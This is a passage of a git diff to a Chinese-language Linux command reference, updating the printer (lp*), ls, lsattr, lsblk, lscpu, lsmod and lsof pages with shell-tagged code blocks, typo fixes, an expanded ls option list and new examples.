用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。 -### 语法 +### 语法 -``` +```shell lpadmin(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -c:将打印机加入类; -i:为打印机设置“system V”风格的接口脚本; -m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件; @@ -30,9 +30,8 @@ lpadmin(选项)(参数) -d:设置默认打印机。 ``` -### 参数 +### 参数 打印机:指定要配置的打印机的名称。 - \ No newline at end of file diff --git a/command/lpc.md b/command/lpc.md index eed73e0433a..acec76636fe 100644 --- a/command/lpc.md +++ b/command/lpc.md @@ -1,21 +1,21 @@ lpc === - + 命令行方式打印机控制程序 ## 补充说明 **lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 -### 语法 +### 语法 -``` +```shell lpc ``` -### 实例 +### 实例 -``` +```shell [root@localhost ~]# lpc lpc> ? 命令可能是缩写。命令是: @@ -25,4 +25,3 @@ lpc> exit ``` - \ No newline at end of file diff --git a/command/lpq.md b/command/lpq.md index 5fcbc5c974a..777b49eccba 100644 --- a/command/lpq.md +++ b/command/lpq.md @@ -1,21 +1,21 @@ lpq === - + 显示打印队列中的打印任务的状态信息 ## 补充说明 **lpq命令** 用于显示打印队列中的打印任务的状态信息。 -### 语法 +### 语法 -``` +```shell lpq(选项) ``` -### 选项 +### 选项 -``` +```shell -E:强制使用加密方式与服务器连接; -P:显示中的打印机上的打印队列状态;; -U:自动可选的用户名; @@ -26,4 +26,3 @@ lpq(选项) ``` - \ No newline at end of file diff --git a/command/lpr.md b/command/lpr.md index b777090cd49..da45d70e2bf 100644 --- a/command/lpr.md +++ b/command/lpr.md @@ -1,21 +1,21 @@ lpr === - + 将文件发送给指定打印机进行打印 ## 补充说明 **lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。 -### 语法 +### 语法 -``` +```shell lpr(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -E:与打印服务器连接时强制使用加密; -H:指定可选的打印服务器; -C:指定打印任务的名称; @@ -27,17 +27,16 @@ lpr(选项)(参数) -r:打印完成后删除文件。 ``` -### 参数 +### 参数 文件:需打印的文件。 -### 实例 +### 实例 将man1和man2送到打印机lp进行打印: -``` +```shell lpr -P lp man1 man2 ``` - \ No newline at end of file diff --git a/command/lprm.md b/command/lprm.md index 886800754e4..fba555654b5 100644 --- a/command/lprm.md +++ b/command/lprm.md @@ -1,43 +1,42 @@ lprm === - + 删除打印队列中的打印任务 ## 补充说明 **lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。 -### 语法 +### 语法 -``` +```shell lprm(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -E:与打印服务器连接时强制使用加密; -P:指定接受打印任务的目标打印机; -U:指定可选的用户名。 ``` -### 参数 +### 参数 打印任务:指定需删除的打印任务号。 -### 实例 +### 实例 将打印机hpprint中的第102号任务移除: -``` +```shell lprm -Phpprint 102 ``` 将第101号任务由预设打印机中移除: -``` +```shell lprm 101 ``` - \ No newline at end of file diff --git a/command/lpstat.md b/command/lpstat.md index aa789e935b2..0cfe916f7d0 100644 --- a/command/lpstat.md +++ b/command/lpstat.md @@ -1,21 +1,21 @@ lpstat === - + 显示CUPS中打印机的状态信息 ## 补充说明 **lpstat命令** 用于显示CUPS中打印机的状态信息。 -### 语法 +### 语法 -``` +```shell lpstat(选项) ``` -### 选项 +### 选项 -``` +```shell -E:与打印机连接时加密; -R:显示打印任务的等级; -U:指定可选用户名; @@ -30,4 +30,3 @@ lpstat(选项) ``` - \ No newline at end of file diff --git a/command/ls.md b/command/ls.md index 70611004c30..cf09d587b1a 100644 --- a/command/ls.md +++ b/command/ls.md @@ -5,134 +5,190 @@ ls ## 补充说明 -**ls命令** 用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。 - -### 语法 - -``` -ls(选项)(参数) -``` - -### 选项 - -``` - --a, --all 不隐藏任何以. 开始的项目 --A, --almost-all 列出除. 及.. 以外的任何项目 - --author 与-l 同时使用时列出每个文件的作者 --b, --escape 以八进制溢出序列表示不可打印的字符 - --block-size=SIZE scale sizes by SIZE before printing them; e.g., - '--block-size=M' prints sizes in units of - 1,048,576 bytes; see SIZE format below --B, --ignore-backups do not list implied entries ending with ~ --c with -lt: sort by, and show, ctime (time of last - modification of file status information); - with -l: show ctime and sort by name; - otherwise: sort by ctime, newest first --C list entries by columns - --color[=WHEN] colorize the output; WHEN can be 'never', 'auto', - or 'always' (the default); more info below --d, --directory list directories themselves, not their contents --D, --dired generate output designed for Emacs' dired mode --f do not sort, enable -aU, disable -ls --color --F, --classify append indicator (one of */=>@|) to entries - --file-type likewise, except do not append '*' - --format=WORD across -x, commas -m, horizontal -x, long -l, - single-column -1, verbose -l, vertical -C - --full-time like -l --time-style=full-iso --g 类似-l,但不列出所有者 - --group-directories-first - group directories before files; - can be augmented with a --sort option, but any - use of --sort=none (-U) disables grouping --G, --no-group 以一个长列表的形式,不输出组名 --h, --human-readable 与-l 一起,以易于阅读的格式输出文件大小 - (例如 1K 234M 2G) - --si 同上面类似,但是使用1000 为基底而非1024 --H, --dereference-command-line - follow symbolic links listed on the command line - --dereference-command-line-symlink-to-dir - follow each command line symbolic link - that points to a directory - --hide=PATTERN do not list implied entries matching shell PATTERN - (overridden by -a or -A) - --indicator-style=WORD append indicator with style WORD to entry names: - none (default), slash (-p), - file-type (--file-type), classify (-F) --i, --inode print the index number of each file --I, --ignore=PATTERN do not list implied entries matching shell PATTERN --k, --kibibytes default to 1024-byte blocks for disk usage --l 使用较长格式列出信息 --L, --dereference 当显示符号链接的文件信息时,显示符号链接所指示 - 的对象而并非符号链接本身的信息 --m 所有项目以逗号分隔,并填满整行行宽 --n, --numeric-uid-gid 类似 -l,但列出UID 及GID 号 --N, --literal 输出未经处理的项目名称 (如不特别处理控制字符) --o 类似 -l,但不列出有关组的信息 --p, --indicator-style=slash 对目录加上表示符号"/" --q, --hide-control-chars print ? instead of nongraphic characters - --show-control-chars show nongraphic characters as-is (the default, - unless program is 'ls' and output is a terminal) --Q, --quote-name enclose entry names in double quotes - --quoting-style=WORD use quoting style WORD for entry names: - literal, locale, shell, shell-always, c, escape --r, --reverse 逆序排列 --R, --recursive 递归显示子目录 --s, --size 以块数形式显示每个文件分配的尺寸 --S sort by file size - --sort=WORD sort by WORD instead of name: none (-U), size (-S), - time (-t), version (-v), extension (-X) - --time=WORD with -l, show time as WORD instead of default - modification time: atime or access or use (-u) - ctime or status (-c); also use specified time - as sort key if --sort=time - --time-style=STYLE with -l, show times using style STYLE: - full-iso, long-iso, iso, locale, or +FORMAT; - FORMAT is interpreted like in 'date'; if FORMAT - is FORMAT1FORMAT2, then FORMAT1 applies - to non-recent files and FORMAT2 to recent files; - if STYLE is prefixed with 'posix-', STYLE - takes effect only outside the POSIX locale --t sort by modification time, newest first --T, --tabsize=COLS assume tab stops at each COLS instead of 8 --u with -lt: sort by, and show, access time; - with -l: show access time and sort by name; - otherwise: sort by access time --U do not sort; list entries in directory order --v natural sort of (version) numbers within text --w, --width=COLS assume screen width instead of current value --x list entries by lines instead of by columns --X sort alphabetically by entry extension --1 list one file per line - -SELinux options: - ---lcontext Display security context. Enable -l. Lines - will probably be too wide for most displays. --Z, --context Display security context so it fits on most - displays. Displays only mode, user, group, - security context and file name. ---scontext Display only security context and file name. - --help 显示此帮助信息并退出 - --version 显示版本信息并退出 -``` - -### 参数 +**ls命令** 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。 + +### 语法 + +```shell +ls [选项] [文件名...] + [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time] + [--format={long,verbose,commas,across,vertical,single-col‐umn}] + [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}] + [--color[={none,auto,always}]] [--help] [--version] [--] +``` + +### 选项 + +```shell +-C # 多列输出,纵向排序。 +-F # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。 +-R # 递归列出遇到的子目录。 +-a # 列出所有文件,包括以 "." 开头的隐含文件。 +-c # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。 +-d # 将目录名像其它文件一样列出,而不是列出它们的内容。 +-i # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l 列出(以单列格式)文件模式 + # (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。 + # 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件, + # 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。 +-q # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。) +-r # 逆序排列。 +-t # 按时间信息排序。 +-u # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。 +-1 # 单列输出。 +-1, --format=single-column # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。 +-a, --all # 列出目录中所有文件,包括以“.”开头的文件。 +-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。 +-c, --time=ctime, --time=status + # 按文件状态改变时间(i节点中的ctime)排序并输出目录内 + # 容。如采用长格式输出(选项“-l”),使用文件的状态改 + # 变时间取代文件修改时间。【译注:所谓文件状态改变(i节 + # 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】 +-d, --directory + # 将目录名像其它文件一样列出,而不是列出它们的内容。 +-f # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、 + # “ - -color ”或“ -s ”,则禁止它们。 +-g # 忽略,为兼容UNIX用。 +-i, --inode + # 在每个文件左边打印 i 节点号(也叫文件序列号和索引号: file serial number and index num‐ + # ber)。i节点号在每个特定的文件系统中是唯一的。 +-k, --kilobytes + # 如列出文件大小,则以千字节KB为单位。 +-l, --format=long, --format=verbose + # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte) + # 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来 + # 1小时的文件,时间信息中的时分将被年代取代。 + # 每个目录列出前,有一行“总块数”显示目录下全部文件所占的磁盘空间。块默认是1024字节; + # 如果设置了 POSIXLY_CORRECT 的环境变量,除非用“-k”选项,则默认块大小是 512 字节。 + # 每一个硬链接都计入总块数(因此可能重复计数),这无 疑是个缺点。 + +# 列出的权限类似于以符号表示(文件)模式的规范。但是 ls + # 在每套权限的第三个字符中结合了多位( multiple bits ) 的信息,如下: s 如果设置了 setuid + # 位或 setgid 位,而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid + # 位,但是没有设置相应的可执行位。 t 如果设置了 sticky 位,而且也设置了相应的可执行位。 T + # 如果设置了 sticky 位,但是没有设置相应的可执行位。 x + # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。 +-m, --format=commas + # 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。 +-n, --numeric-uid-gid + # 列出数字化的 UID 和 GID 而不是用户名和组名。 +-o # 以长格式列出目录内容,但是不显示组信息。等于使用“ --format=long --no-group + # ”选项。提供此选项是为了与其它版本的 ls 兼容。 +-p # 在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。 +-q, --hide-control-chars + # 用问号代替文件名中非打印的字符。这是缺省选项。 +-r, --reverse + # 逆序排列目录内容。 +-s, --size + # 在每个文件名左侧输出该文件的大小,以 1024 字节的块为单位。如果设置了 POSIXLY_CORRECT + # 的环境变量,除非用“ -k ”选项,块大小是 512 字节。 +-t, --sort=time + # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。 +-u, --time=atime, --time=access, --time=use + # 类似选项“ -t ”,但是用文件最近访问时间( i 节点中的 atime )取代文件修 + # 改时间。如果使用长格式列出,打印的时间是最近访问时间。 +-w, --width cols + # 假定屏幕宽度是 cols ( cols 以实际数字取代)列。如未用此选项,缺省值是这 + # 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量 COLUMNS (如果设 + # 置了的话),都不行则取 80 。 + +-x, --format=across, --format=horizontal + # 多列输出,横向排序。 + +-A, --almost-all + # 显示除 "." 和 ".." 外的所有文件。 + +-B, --ignore-backups + # 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。 + +-C, --format=vertical + # 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。 + +-D, --dired + # 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行: //DIRED// BEG1 END1 BEG2 + # END2 ... + +# BEGn 和 ENDn 是无符号整数,记录每个文件名的起始、结束位置在输出中的位置( +# 字节偏移量)。这使得 Emacs 易于找到文件名,即使文件名包含空格或换行等非正 +# 常字符也无需特异的搜索。 +# +# 如果目录是递归列出的(“ -R ”选项),每个子目录后列出类似一行: + # //SUBDIRED// BEG1 END1 ... 【译注:我测试了 TurboLinux4.0 和 RedHat6.1 ,发现它们都是在 “ + # //DIRED// BEG1... ”之后列出“ //SUBDIRED// BEG1 ... ”,也即只有一个 + # 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】 + +-F, --classify, --file-type + # 在每个文件名后附上一个字符以说明该文件的类型。“ * ”表示普通的可执行文件; “ / ”表示目录;“ + # @ ”表示符号链接;“ | ”表示FIFOs;“ = ”表示套接字 (sockets) ;什么也没有则表示普通文件。 + +-G, --no-group + # 以长格式列目录时不显示组信息。 + +-I, --ignorepattern + # 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般 + # 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern) + # 开头的通配符匹配。 + +-L, --dereference + # 列出符号链接指向的文件的信息,而不是符号链接本身。 + +-N, --literal + # 不要用引号引起文件名。 + +-Q, --quote-name + # 用双引号引起文件名,非打印字符以 C 语言的方法表示。 + +-R, --recursive + # 递归列出全部目录的内容。 + +-S, --sort=size + # 按文件大小而不是字典序排序目录内容,大文件靠前。 + +-T, --tabsize cols + # 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。 若 cols 为 + 0,则不使用制表符。 + +-U, --sort=none + # 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不 + # 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序 + # 能显著地加快速度。 + +-X, --sort=extension + # 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。 + +--color[=when] + # 指定是否使用颜色区别文件类别。环境变量 LS_COLORS 指定使用的颜色。如何设置 这个变量见 dir‐ + # colors(1) 。 when 可以被省略,或是以下几项之一: +none # 不使用颜色,这是缺省项。 + # auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when 时就等同于 + # --color=always 。 + +--full-time + # 列出完整的时间,而不是使用标准的缩写。格式如同 date(1) 的缺省格式;此格式 + # 是不能改变的,但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。 + +# 输出的时间包括秒是非常有用的。( Unix 文件系统储存文件的时间信息精确到秒, + # 因此这个选项已经给出了系统所知的全部信息。)例如,当你有一个 Makefile 文件 + # 不能恰当地生成文件时,这个选项会提供帮助。 +``` + +### 参数 目录:指定要显示列表的目录,也可以是具体的文件。 -### 实例 +### 实例 -```bash +```shell $ ls # 仅列出当前目录可见文件 $ ls -l # 列出当前目录可见文件详细信息 $ ls -hl # 列出详细信息并以可读大小显示文件大小 $ ls -al # 列出所有文件(包括隐藏)的详细信息 +$ ls --human-readable --size -1 -S --classify # 按文件大小排序 +$ du -sh * | sort -h # 按文件大小排序(同上) ``` -显示当前目录下包括影藏文件在内的所有文件列表 +显示当前目录下包括隐藏文件在内的所有文件列表 -``` +```shell [root@localhost ~]# ls -a . anaconda-ks.cfg .bash_logout .bashrc install.log .mysql_history satools .tcshrc .vimrc .. .bash_history .bash_profile .cshrc install.log.syslog .rnd .ssh .viminfo @@ -140,7 +196,7 @@ $ ls -al # 列出所有文件(包括隐藏)的详细信息 输出长格式列表 -``` +```shell [root@localhost ~]# ls -1 anaconda-ks.cfg @@ -153,7 +209,7 @@ satools 索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。 -``` +```shell [root@localhost ~]# ls -i -l anaconda-ks.cfg install.log 2345481 -rw------- 1 root root 859 Jun 11 22:49 anaconda-ks.cfg 2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log @@ -161,7 +217,7 @@ satools 水平输出文件列表 -``` +```shell [root@localhost /]# ls -m bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var @@ -171,7 +227,7 @@ bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, r 最近修改的文件显示在最上面。 -``` +```shell [root@localhost /]# ls -t tmp root etc dev lib boot sys proc data home bin sbin usr var lost+found media mnt opt selinux srv misc @@ -179,19 +235,18 @@ tmp root etc dev lib boot sys proc data home bin sbin usr var lost 显示递归文件 -``` +```shell [root@localhost ~]# ls -R .: anaconda-ks.cfg install.log install.log.syslog satools ./satools: black.txt freemem.sh iptables.sh lnmp.sh mysql php502_check.sh ssh_safe.sh - ``` 打印文件的UID和GID -``` +```shell [root@localhost /]# ls -n total 254 @@ -216,12 +271,11 @@ drwxr-xr-x 11 0 0 0 Jun 15 11:04 sys drwxrwxrwt 3 0 0 98304 Oct 16 08:45 tmp drwxr-xr-x 13 0 0 4096 Jun 11 23:38 usr drwxr-xr-x 19 0 0 4096 Jun 11 23:38 var - ``` 列出文件和文件夹的详细信息 -``` +```shell [root@localhost /]# ls -l total 254 @@ -246,12 +300,11 @@ drwxr-xr-x 11 root root 0 Jun 15 11:04 sys drwxrwxrwt 3 root root 98304 Oct 16 08:48 tmp drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr drwxr-xr-x 19 root root 4096 Jun 11 23:38 var - ``` 列出可读文件和文件夹详细信息 -``` +```shell [root@localhost /]# ls -lh total 254K @@ -276,21 +329,19 @@ drwxr-xr-x 11 root root 0 Jun 15 11:04 sys drwxrwxrwt 3 root root 96K Oct 16 08:49 tmp drwxr-xr-x 13 root root 4.0K Jun 11 23:38 usr drwxr-xr-x 19 root root 4.0K Jun 11 23:38 var - ``` 显示文件夹信息 -``` +```shell [root@localhost /]# ls -ld /etc/ drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/ - ``` 按时间列出文件和文件夹详细信息 -``` +```shell [root@localhost /]# ls -lt total 254 @@ -315,12 +366,11 @@ drwxr-xr-x 2 root root 4096 May 11 2011 opt drwxr-xr-x 2 root root 4096 May 11 2011 selinux drwxr-xr-x 2 root root 4096 May 11 2011 srv drwxr-xr-x 2 root root 4096 Nov 8 2010 misc - ``` 按修改时间列出文件和文件夹详细信息 -``` +```shell [root@localhost /]# ls -ltr total 254 @@ -345,25 +395,35 @@ drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev drwxr-x--- 4 root root 4096 Oct 15 14:43 root drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc drwxrwxrwt 3 root root 98304 Oct 16 08:54 tmp - ``` 按照特殊字符对文件进行分类 -``` +```shell [root@localhost nginx-1.2.1]# ls -F auto/ CHANGES CHANGES.ru conf/ configure* contrib/ html/ LICENSE Makefile man/ objs/ README src/ - ``` 列出文件并标记颜色分类 -``` +```shell [root@localhost nginx-1.2.1]# ls --color=auto auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile man objs README src ``` +## 扩展知识 + +### 不同颜色代表的文件类型 + +* `蓝色`:目录 +* `绿色`:可执行文件 +* `白色`:一般性文件,如文本文件,配置文件等 +* `红色`:压缩文件或归档文件 +* `浅蓝色`:链接文件 +* 红色闪烁:链接文件存在问题 +* 黄色:设备文件 +* 青黄色:管道文件 + - diff --git a/command/lsattr.md b/command/lsattr.md index 1a3ee1d66f2..68745d01708 100644 --- a/command/lsattr.md +++ b/command/lsattr.md @@ -1,21 +1,21 @@ lsattr === - + 查看文件的第二扩展文件系统属性 ## 补充说明 **lsattr命令** 用于查看文件的第二扩展文件系统属性。 -### 语法 +### 语法 -``` +```shell lsattr(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。 -D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。 -R:递归的操作方式; @@ -25,16 +25,15 @@ lsattr(选项)(参数) lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。 -### 参数 +### 参数 文件:指定显示文件系统属性的文件名。 -### 实例 +### 实例 -``` +```shell lsattr -E -l rmt0 -H lsattr -EO -l rmt0 ``` - \ No newline at end of file diff --git a/command/lsb_release.md b/command/lsb_release.md index 051e2f8ac70..f7d36edccc8 100644 --- a/command/lsb_release.md +++ b/command/lsb_release.md @@ -1,13 +1,13 @@ lsb_release === - + 显示发行版本信息 ## 补充说明 LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。 -``` +```shell -v 显示版本信息。 -i 显示发行版的id。 -d 显示该发行版的描述信息。 @@ -25,9 +25,8 @@ LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和 redhat和fedora系统中,还支持一个参数: -``` +```shell -s, --short 输出简短的描述信息。 ``` - \ No newline at end of file diff --git a/command/lsblk.md b/command/lsblk.md index 49c6cd3d54c..934dd5dab63 100644 --- a/command/lsblk.md +++ b/command/lsblk.md @@ -1,37 +1,37 @@ lsblk === - + 列出块设备信息 ## 补充说明 **lsblk命令** 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。 -### 选项 +### 选项 -``` --a, --all 显示所有设备。 --b, --bytes 以bytes方式显示设备大小。 --d, --nodeps 不显示 slaves 或 holders。 --D, --discard print discard capabilities。 --e, --exclude 排除设备 (default: RAM disks)。 --f, --fs 显示文件系统信息。 --h, --help 显示帮助信息。 --i, --ascii use ascii characters only。 --m, --perms 显示权限信息。 --l, --list 使用列表格式显示。 --n, --noheadings 不显示标题。 --o, --output 输出列。 --P, --pairs 使用key="value"格式显示。 --r, --raw 使用原始格式显示。 --t, --topology 显示拓扑结构信息。 +```shell +-a, --all # 显示所有设备。 +-b, --bytes # 以bytes方式显示设备大小。 +-d, --nodeps # 不显示 slaves 或 holders。 +-D, --discard # print discard capabilities。 +-e, --exclude # 排除设备 (default: RAM disks)。 +-f, --fs # 显示文件系统信息。 +-h, --help # 显示帮助信息。 +-i, --ascii # use ascii characters only。 +-m, --perms # 显示权限信息。 +-l, --list # 使用列表格式显示。 +-n, --noheadings # 不显示标题。 +-o, --output # 输出列。 +-P, --pairs # 使用key="value"格式显示。 +-r, --raw # 使用原始格式显示。 +-t, --topology # 显示拓扑结构信息。 ``` -### 实例 +### 实例 lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: -``` +```shell lsblk NAME MAJ:MIN rm SIZE RO type mountpoint @@ -57,19 +57,19 @@ sr0 11:0 1 1024M 0 rom 默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令: -``` +```shell lsblk -a ``` lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息: -``` +```shell lsblk -m ``` 该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现: -``` +```shell lsblk -b /dev/sda 等价于 @@ -79,21 +79,20 @@ lsblk --bytes /dev/sda 你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下: -``` +```shell lsblk -nl ``` 要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。 -``` +```shell lsblk -S ``` lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令: -``` +```shell lsblk -s ``` - \ No newline at end of file diff --git a/command/lscpu.md b/command/lscpu.md index 00fbf720b74..d6549c7c798 100644 --- a/command/lscpu.md +++ b/command/lscpu.md @@ -7,30 +7,30 @@ lscpu **lscpu命令** 是显示有关CPU架构的信息。 -### 语法 +### 语法 -``` +```shell lscpu [选项] ``` -### 选项 +### 选项 -``` - -a, --all 打印在线和离线CPU(默认为-e) - -b, --online 仅打印在线CPU(-p的默认值) - -c, --offline 打印离线CPU - -e, --extended[=] 打印出一个扩展的可读格式 - -p, --parse[=] 打印出可解析的格式 - -s, --sysroot 将指定的目录用作系统根目录 - -x, --hex 打印十六进制掩码,而不是CPU列表 +```shell + -a, --all # 打印在线和离线CPU(默认为-e) + -b, --online # 仅打印在线CPU(-p的默认值) + -c, --offline # 打印离线CPU + -e, --extended[=] # 打印出一个扩展的可读格式 + -p, --parse[=] # 打印出可解析的格式 + -s, --sysroot # 将指定的目录用作系统根目录 + -x, --hex # 打印十六进制掩码,而不是CPU列表 - -h, --help 显示此帮助并退出 - -V, --version 输出版本信息并退出 + -h, --help # 显示此帮助并退出 + -V, --version # 输出版本信息并退出 ``` -### 参数 +### 参数 -```bash +```shell 可用列: CPU 逻辑CPU编号 CORE 逻辑核心号码 @@ -46,7 +46,7 @@ lscpu [选项] ### 例子 -```bash +```shell [root@localhost ~]# lscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit @@ -71,5 +71,17 @@ L2 cache: 256K L3 cache: 8192K NUMA node0 CPU(s): 0-3 ``` +```shell +# 查看cpu编号对应的核心号码,区分是大核还是小核。 +[root@localhost ~]# lscpu -e +CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ +0 0 0 0 0:0:0:0 是 3600.0000 800.0000 +1 0 0 1 1:1:1:0 是 3600.0000 800.0000 +2 0 0 2 2:2:2:0 是 3600.0000 800.0000 +3 0 0 3 3:3:3:0 是 3600.0000 800.0000 +4 0 0 0 0:0:0:0 是 3600.0000 800.0000 +5 0 0 1 1:1:1:0 是 3600.0000 800.0000 +6 0 0 2 2:2:2:0 是 3600.0000 800.0000 +7 0 0 3 3:3:3:0 是 3600.0000 800.0000 +``` - diff --git a/command/lsmod.md b/command/lsmod.md index 19f98113ec7..ed9ebd64ec3 100644 --- a/command/lsmod.md +++ b/command/lsmod.md @@ -1,21 +1,21 @@ lsmod === - + 显示已载入系统的模块 ## 补充说明 **lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。 -### 语法 +### 语法 -``` +```shell lsmod ``` -### 实例 +### 实例 -``` +```shell [root@LinServ-1 ~]# lsmod Module Size Used by ipv6 272801 15 @@ -100,4 +100,3 @@ ehci_hcd 34509 0 通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。 - \ No newline at end of file diff --git a/command/lsof.md b/command/lsof.md index 5ff61083133..59ca84d9c2d 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -5,19 +5,19 @@ lsof ## 补充说明 -**lsof命令** 用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。 +**lsof命令** 用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。 在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。 ### 语法 -``` -lsof(选项) +```shell +lsof (选项) ``` ### 选项 -``` +```shell -a:列出打开文件存在的进程; -c<进程名>:列出指定进程所打开的文件; -g:列出GID号进程详情; @@ -25,16 +25,16 @@ lsof(选项) +d<目录>:列出目录下被打开的文件; +D<目录>:递归列出目录下被打开的文件; -n<目录>:列出使用NFS的文件; --i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip ) +-i<条件>:列出符合条件的进程(协议、:端口、 @ip ) -p<进程号>:列出指定进程号所打开的文件; -u:列出UID号进程详情; -h:显示帮助信息; 